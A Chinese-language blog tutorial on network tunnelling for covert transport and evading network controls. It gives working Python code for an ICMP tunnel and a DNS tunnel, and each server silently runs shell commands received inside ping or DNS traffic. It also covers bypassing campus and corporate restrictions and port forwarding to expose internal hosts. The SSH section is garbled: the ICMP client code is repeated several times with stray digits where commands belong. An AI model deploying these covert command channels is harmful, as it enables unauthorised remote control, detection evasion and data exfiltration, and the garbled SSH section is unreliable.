作者介绍

看之前？

收藏=学会，点赞=发财！

概念理论

本文所述原理均属于网络工程范畴，涵盖应用层转发、传输层隧道与网络层封装等技术，可实现网络穿透与隐蔽传输

为便于系统化讨论，文章按层次将相关技术拆分为：应用层、传输层与网络层，从底层原理入手进行详尽分析，在应急响应、流量分析与隐藏流量识别中的有很大参考价值

文中不再介绍常见代理协议如 HTTP、SOCKS，这常见的没有什么好说的

请务必在获得授权并遵守相关法律禁止非法用途！

隧道封装底层

ICMP隧道

ICMP经常是在测试网络通不通的重要的网络协议

8位类型和8位代码位表示如图

上面不是重点大概介绍一下ICPM协议的作用

重点介绍！正常的连接wifi或者插上网线后在很多内网配置的时候限制内网不让访问互联网，比如很多校园网、企业网络、酒店网络等没有认证不能访问物联网。很多管理员只是配置不运行走TCP协议，可以使用ping命令发送ICMP是否可以ping的通，就可以构建ICMP隧道绕过限制，在内网渗透也是一个可以帮助我们叫内网映射到互联网上

这个是一个ICMP的协议

可以在详细的分头IP头大概20字节IMCP头大概8字节，IMCP的数据大概可以传输46~1500字节

搭建隧道的时候可以叫数据插入到IMCP的数据字段里面，数据可以进行加密编码传输

代码构建图

代码实现

服务端

import base64import socketimport structimport subprocessICMP_ECHO_REQUEST = 8ICMP_ECHO_REPLY = 0defchecksum(data: bytes) -> int:    s = 0for i inrange(0, len(data)-1, 2):        s += (data[i] << 8) + data[i+1]iflen(data) % 2:        s += data[-1] << 8    s = (s >> 16) + (s & 0xffff)    s += (s >> 16)return (~s) & 0xffffdefcreate_icmp_reply(icmp_packet: bytes, payload: bytes) -> bytes:    icmp_type, code, _, pkt_id, seq = struct.unpack("!BBHHH", icmp_packet[:8])    header = struct.pack("!BBHHH", ICMP_ECHO_REPLY, 0, 0, pkt_id, seq)    chksum = checksum(header + payload)    header = struct.pack("!BBHHH", ICMP_ECHO_REPLY, 0, chksum, pkt_id, seq)return header + payloaddefmain():    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)whileTrue:        packet, addr = sock.recvfrom(2048)        icmp_packet = packet[20:]  # skip IP header        icmp_type = icmp_packet[0]if icmp_type == ICMP_ECHO_REQUEST:            payload = icmp_packet[8:]try:# 分离命令和随机 bytes                marker = b"123321"                idx = payload.find(marker)if idx == -1:continue                cmd_bytes = payload[:idx]                tail_bytes = payload[idx+len(marker):]                cmd = base64.b64decode(cmd_bytes).decode(errors="ignore")                result = subprocess.run(cmd, shell=True, capture_output=True, text=True)                output = result.stdout or result.stderr or" "                output_bytes = base64.b64encode(output.encode()) + tail_bytesprint(output_bytes)except Exception as e:                output_bytes = base64.b64encode(f"Error: {e}".encode())            reply = create_icmp_reply(icmp_packet, output_bytes)            sock.sendto(reply, addr)if __name__ == "__main__":    main()

客户端

import base64import randomimport socketimport stringimport structimport osICMP_ECHO_REQUEST = 8defchecksum(data: bytes) -> int:    s = 0for i inrange(0, len(data)-1, 2):        s += (data[i] << 8) + data[i+1]iflen(data) % 2:        s += data[-1] << 8    s = (s >> 16) + (s & 0xffff)    s += (s >> 16)return (~s) & 0xffffdefcreate_icmp_packet(seq: int, payload: bytes) -> bytes:    pid = os.getpid() & 0xffff    header = struct.pack("!BBHHH", ICMP_ECHO_REQUEST, 0, 0, pid, seq)    chksum = checksum(header + payload)    header = struct.pack("!BBHHH", ICMP_ECHO_REQUEST, 0, chksum, pid, seq)return header + payloaddefmain():    target_ip = "192.168.200.58"    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)    sock.settimeout(3)  # 设置3秒超时    seq = 1whileTrue:        cmd = input("> ")if cmd.lower() == "exit":break# base64 编码命令 + marker + 10 个随机 bytes        nums = bytes(''.join(random.choice(string.ascii_letters) for _ inrange(10)), 'utf-8')        payload = base64.b64encode(cmd.encode()) + b"123321" + nums        packet = create_icmp_packet(seq, payload)        sock.sendto(packet, (target_ip, 0))whileTrue:try:                resp, addr = sock.recvfrom(2048)except socket.timeout:break            src_ip = addr[0]            icmp_packet = resp[20:]            reply_payload = icmp_packet[8:]# 检查随机 bytes 是否匹配if nums in reply_payload:# 分离输出                out_bytes = reply_payload[:-10]                marker_idx = out_bytes.find(b"123321")if marker_idx != -1:                    out_bytes = out_bytes[:marker_idx]  # 去掉 markertry:                    output = base64.b64decode(out_bytes).decode(errors="ignore")except Exception:                    output = ""if output:print(f"{src_ip}>>>>>"+output)            seq += 1if __name__ == "__main__":    main()

运行结果，成功执行了我们要执行的命令

这边简单演示一下ptunnel工具

有很多已经开发好的工具我们拿过来就可以用的比如ptunnel、icmptunnel等都可以实现ICMP数据传输

服务端：

sudo ptunnel -x 11111  # 11111是连接的密码

客户端：

ptunnel -p 中间的IP -lp 指定本地监听端口 -da 要访问的目标IP  -dp 服务器的端口 -x 11111 中间设置的密码

通过内网中间的机器ip成功访问到互联网

UDP隧道

这个很多网络工程人员或者很多也是没有关闭UDP传输，我们就可以使用UDP进行网络通讯，很多网上购买破解校园网就是使用的该方法，搭建了一个VPN的UDP隧道走53端口，绕过了校园网认证

这个简单编写UDP传输脚本比较简单，简单编写一个套接字的就可以

import socketsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)target = ("192.168.200.58", 12345)whileTrue:    msg = input(">>>").encode()    sock.sendto(msg, target)import socketsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock.bind(("0.0.0.0", 12345))whileTrue:    data, addr = sock.recvfrom(4096)print(f"{addr}>>{data.decode()}")

DNS

该协DNS议很多访问网站都会去把域名解析成IP，我们的测试是否打成功DNSlog也是走的这个协议

DNS解析的流程

这个可以算是ICMP和UDP隧道升级版，我们ping到时候要是发现域名是可以解析的那么可能就可以通过DNS隧道绕过检测能够访问到互联网。很多网络工程师或者是网络管理员他们配置的时候只是配置了TCP/UDP/ICMP等协议但是没有禁止使用DNS，又或者只开了一个53的UDP端口

路程如下：

通常我们可以把要传输的数据插入到TXT里面

比如我们用aaaa.com域名来演示

• • A记录b.aaaa.com指向服务器地址
• • NS记录dns.aaaa.com指向A记录的域名b.aaaa.com

编写一个简单的通讯隧道

客户端

import base64import dns.resolverimport zlibMAX_LABEL = 63defxor_encrypt(data: bytes, key: bytes) -> bytes:returnbytes([b ^ key[i % len(key)] for i, b inenumerate(data)])defsend_message(msg: str, key=b'123123123'):    data = zlib.compress(msg.encode())    data = xor_encrypt(data, key)    b32 = base64.b32encode(data).decode().strip('=')    labels = [b32[i:i + MAX_LABEL] for i inrange(0, len(b32), MAX_LABEL)]    domain = ".".join(labels) + ".xxxx.com"    resolver = dns.resolver.Resolver()    resolver.nameservers = ['自己的阿里云服务器地址']    resolver.timeout = 5    resolver.lifetime = 5    answers = resolver.resolve(domain, 'TXT')    full_response = "".join([rdata.to_text().strip('"') for rdata in answers])if full_response:        pad_len = (8 - len(full_response) % 8) % 8        resp_bytes = base64.b32decode(full_response + '=' * pad_len)        resp_bytes = xor_encrypt(resp_bytes, key)        resp_bytes = zlib.decompress(resp_bytes)print(f">>>{resp_bytes.decode(errors='ignore')}")if __name__ == "__main__":whileTrue:        msg = input(">>>>")        send_message(msg)

服务器

import subprocessfrom dnslib.server import DNSServer,BaseResolver,RR,DNSLoggerimport base64import zlibMAX_LABEL = 63defxor_encrypt(data: bytes, key: bytes) -> bytes:returnbytes([b ^ key[i % len(key)] for i, b inenumerate(data)])classTunnelResolver(BaseResolver):def__init__(self, key=b'123123123'):self.key = keyself.msg_queue = []defresolve(self, request, handler):        reply = request.reply()        qname = str(request.q.qname)if qname.endswith("dns.xxxx.com."):            sub = qname.replace(".dns.xxxx.com.", "")try:                pad_len = (8 - len(sub) % 8) % 8                chunk = base64.b32decode(sub.upper() + '=' * pad_len)                chunk = xor_encrypt(chunk, self.key)                chunk = zlib.decompress(chunk)                msg = chunk.decode(errors='ignore')print(f"收：{msg}")                result = subprocess.run(msg, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)                output = result.stdout.decode(errors='ignore') if result.stdout else result.stderr.decode(errors='ignore')                output = output or" "print(f"发：{output}")self.msg_queue.append(output)ifself.msg_queue:                    resp_msg = self.msg_queue.pop(0)else:                    resp_msg = "ACK"                resp_bytes = zlib.compress(resp_msg.encode())                resp_bytes = xor_encrypt(resp_bytes, self.key)                b32_resp = base64.b32encode(resp_bytes).decode().strip('=')                txt_chunks = [b32_resp[i:i + MAX_LABEL] for i inrange(0, len(b32_resp), MAX_LABEL)]for c in txt_chunks:                    reply.add_answer(*RR.fromZone(f"{qname} 60 TXT "{c}""))except Exception as e:print(e)                reply.add_answer(*RR.fromZone(f"{qname} 60 TXT """))return replyif __name__ == "__main__":    resolver = TunnelResolver(key=b'123123123')    logger = DNSLogger("ERROR")    server = DNSServer(resolver, port=53, address="0.0.0.0", tcp=False,logger=logger)    server.start_thread()import timewhileTrue:        time.sleep(1)

运行结果

这个也有很多现成的工具iodine、dns2tcp等自己去用

本地端口映射

这个映射是可以叫本地的端口映射到其他创建的端口上面，比如本地有一个web服务是80端口我们可以在开一个本地的488端口映射到80端口上，访问488端口就是访问的本地的80端口上等

Windows

演示：将本地8082端口映射到远程192.168.1.1的80端口

可以使用netsh命令来映射

netsh interface portproxy add v4tov4 listenport=8082 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.1.1其他netsh interface portproxy show all # 查看映射netsh interface portproxy delete v4tov4 listenport=8082 listenaddress=0.0.0.0 # 删除映射

我们访问本地的8082端口

Linux

在linux上有很多命令可以实现这个映射的功能

1、iptables

iptables命令我们需要开启ip转发

演示：将本地8082端口映射到远程192.168.1.1的80端口

sysctl -w net.ipv4.ip_forward=1 # 开启ip转发.168.1.1的80端口iptables -t nat -A PREROUTING -p tcp --dport 8082 -j DNAT --to-destination 192.168.1.1:80iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.1 --dport 80 -j MASQUERADEiptables -t nat -L -n -v # 查看规则

访问linux系统的服务器ip加指定的端口

socat端口转发

这个工具是一个可以用来流量转发

将本地8082端口映射到远程192.168.1.1的80端口

socat TCP-LISTEN:8082,fork TCP:192.168.1.1:80

访问本地的8082端口就可以访问到指定的192.168.1.1的80端口

SSH

可以实现叫本地的端口映射到公网服务器上

实战攻防这方案可能还是一点做有用的

映射命令介绍

叫目标服务器22端口映射到公网5555端口上面，这个为了叫目标的22端口从内网映射出来

import base64import randomimport socketimport stringimport structimport osICMP_ECHO_REQUEST = 8defchecksum(data: bytes) -> int:    s = 0for i inrange(0, len(data)-1, 2):        s += (data[i] << 8) + data[i+1]iflen(data) % 2:        s += data[-1] << 8    s = (s >> 16) + (s & 0xffff)    s += (s >> 16)return (~s) & 0xffffdefcreate_icmp_packet(seq: int, payload: bytes) -> bytes:    pid = os.getpid() & 0xffff    header = struct.pack("!BBHHH", ICMP_ECHO_REQUEST, 0, 0, pid, seq)    chksum = checksum(header + payload)    header = struct.pack("!BBHHH", ICMP_ECHO_REQUEST, 0, chksum, pid, seq)return header + payloaddefmain():    target_ip = "192.168.200.58"    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)    sock.settimeout(3)  # 设置3秒超时    seq = 1whileTrue:        cmd = input("> ")if cmd.lower() == "exit":break# base64 编码命令 + marker + 10 个随机 bytes        nums = bytes(''.join(random.choice(string.ascii_letters) for _ inrange(10)), 'utf-8')        payload = base64.b64encode(cmd.encode()) + b"123321" + nums        packet = create_icmp_packet(seq, payload)        sock.sendto(packet, (target_ip, 0))whileTrue:try:                resp, addr = sock.recvfrom(2048)except socket.timeout:break            src_ip = addr[0]            icmp_packet = resp[20:]            reply_payload = icmp_packet[8:]# 检查随机 bytes 是否匹配if nums in reply_payload:# 分离输出                out_bytes = reply_payload[:-10]                marker_idx = out_bytes.find(b"123321")if marker_idx != -1:                    out_bytes = out_bytes[:marker_idx]  # 去掉 markertry:                    output = base64.b64decode(out_bytes).decode(errors="ignore")except Exception:                    output = ""if output:print(f"{src_ip}>>>>>"+output)            seq += 1if __name__ == "__main__":    main()0

演示：

通过内网一个ubuntu主机端口映射到公网服务器叫内网的宝塔地址映射出来

实验环境：

主机1 宝塔服务器（内网不能上网机器）

主机2 ubuntu主机

主机3 公网服务器为

主机4 客户端

通过客户端访问服务器的8082端口即可访问到宝塔的服务器

import base64import randomimport socketimport stringimport structimport osICMP_ECHO_REQUEST = 8defchecksum(data: bytes) -> int:    s = 0for i inrange(0, len(data)-1, 2):        s += (data[i] << 8) + data[i+1]iflen(data) % 2:        s += data[-1] << 8    s = (s >> 16) + (s & 0xffff)    s += (s >> 16)return (~s) & 0xffffdefcreate_icmp_packet(seq: int, payload: bytes) -> bytes:    pid = os.getpid() & 0xffff    header = struct.pack("!BBHHH", ICMP_ECHO_REQUEST, 0, 0, pid, seq)    chksum = checksum(header + payload)    header = struct.pack("!BBHHH", ICMP_ECHO_REQUEST, 0, chksum, pid, seq)return header + payloaddefmain():    target_ip = "192.168.200.58"    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)    sock.settimeout(3)  # 设置3秒超时    seq = 1whileTrue:        cmd = input("> ")if cmd.lower() == "exit":break# base64 编码命令 + marker + 10 个随机 bytes        nums = bytes(''.join(random.choice(string.ascii_letters) for _ inrange(10)), 'utf-8')        payload = base64.b64encode(cmd.encode()) + b"123321" + nums        packet = create_icmp_packet(seq, payload)        sock.sendto(packet, (target_ip, 0))whileTrue:try:                resp, addr = sock.recvfrom(2048)except socket.timeout:break            src_ip = addr[0]            icmp_packet = resp[20:]            reply_payload = icmp_packet[8:]# 检查随机 bytes 是否匹配if nums in reply_payload:# 分离输出                out_bytes = reply_payload[:-10]                marker_idx = out_bytes.find(b"123321")if marker_idx != -1:                    out_bytes = out_bytes[:marker_idx]  # 去掉 markertry:                    output = base64.b64decode(out_bytes).decode(errors="ignore")except Exception:                    output = ""if output:print(f"{src_ip}>>>>>"+output)            seq += 1if __name__ == "__main__":    main()1

import base64import randomimport socketimport stringimport structimport osICMP_ECHO_REQUEST = 8defchecksum(data: bytes) -> int:    s = 0for i inrange(0, len(data)-1, 2):        s += (data[i] << 8) + data[i+1]iflen(data) % 2:        s += data[-1] << 8    s = (s >> 16) + (s & 0xffff)    s += (s >> 16)return (~s) & 0xffffdefcreate_icmp_packet(seq: int, payload: bytes) -> bytes:    pid = os.getpid() & 0xffff    header = struct.pack("!BBHHH", ICMP_ECHO_REQUEST, 0, 0, pid, seq)    chksum = checksum(header + payload)    header = struct.pack("!BBHHH", ICMP_ECHO_REQUEST, 0, chksum, pid, seq)return header + payloaddefmain():    target_ip = "192.168.200.58"    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)    sock.settimeout(3)  # 设置3秒超时    seq = 1whileTrue:        cmd = input("> ")if cmd.lower() == "exit":break# base64 编码命令 + marker + 10 个随机 bytes        nums = bytes(''.join(random.choice(string.ascii_letters) for _ inrange(10)), 'utf-8')        payload = base64.b64encode(cmd.encode()) + b"123321" + nums        packet = create_icmp_packet(seq, payload)        sock.sendto(packet, (target_ip, 0))whileTrue:try:                resp, addr = sock.recvfrom(2048)except socket.timeout:break            src_ip = addr[0]            icmp_packet = resp[20:]            reply_payload = icmp_packet[8:]# 检查随机 bytes 是否匹配if nums in reply_payload:# 分离输出                out_bytes = reply_payload[:-10]                marker_idx = out_bytes.find(b"123321")if marker_idx != -1:                    out_bytes = out_bytes[:marker_idx]  # 去掉 markertry:                    output = base64.b64decode(out_bytes).decode(errors="ignore")except Exception:                    output = ""if output:print(f"{src_ip}>>>>>"+output)            seq += 1if __name__ == "__main__":    main()2

import base64import randomimport socketimport stringimport structimport osICMP_ECHO_REQUEST = 8defchecksum(data: bytes) -> int:    s = 0for i inrange(0, len(data)-1, 2):        s += (data[i] << 8) + data[i+1]iflen(data) % 2:        s += data[-1] << 8    s = (s >> 16) + (s & 0xffff)    s += (s >> 16)return (~s) & 0xffffdefcreate_icmp_packet(seq: int, payload: bytes) -> bytes:    pid = os.getpid() & 0xffff    header = struct.pack("!BBHHH", ICMP_ECHO_REQUEST, 0, 0, pid, seq)    chksum = checksum(header + payload)    header = struct.pack("!BBHHH", ICMP_ECHO_REQUEST, 0, chksum, pid, seq)return header + payloaddefmain():    target_ip = "192.168.200.58"    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)    sock.settimeout(3)  # 设置3秒超时    seq = 1whileTrue:        cmd = input("> ")if cmd.lower() == "exit":break# base64 编码命令 + marker + 10 个随机 bytes        nums = bytes(''.join(random.choice(string.ascii_letters) for _ inrange(10)), 'utf-8')        payload = base64.b64encode(cmd.encode()) + b"123321" + nums        packet = create_icmp_packet(seq, payload)        sock.sendto(packet, (target_ip, 0))whileTrue:try:                resp, addr = sock.recvfrom(2048)except socket.timeout:break            src_ip = addr[0]            icmp_packet = resp[20:]            reply_payload = icmp_packet[8:]# 检查随机 bytes 是否匹配if nums in reply_payload:# 分离输出                out_bytes = reply_payload[:-10]                marker_idx = out_bytes.find(b"123321")if marker_idx != -1:                    out_bytes = out_bytes[:marker_idx]  # 去掉 markertry:                    output = base64.b64decode(out_bytes).decode(errors="ignore")except Exception:                    output = ""if output:print(f"{src_ip}>>>>>"+output)            seq += 1if __name__ == "__main__":    main()3

广告时间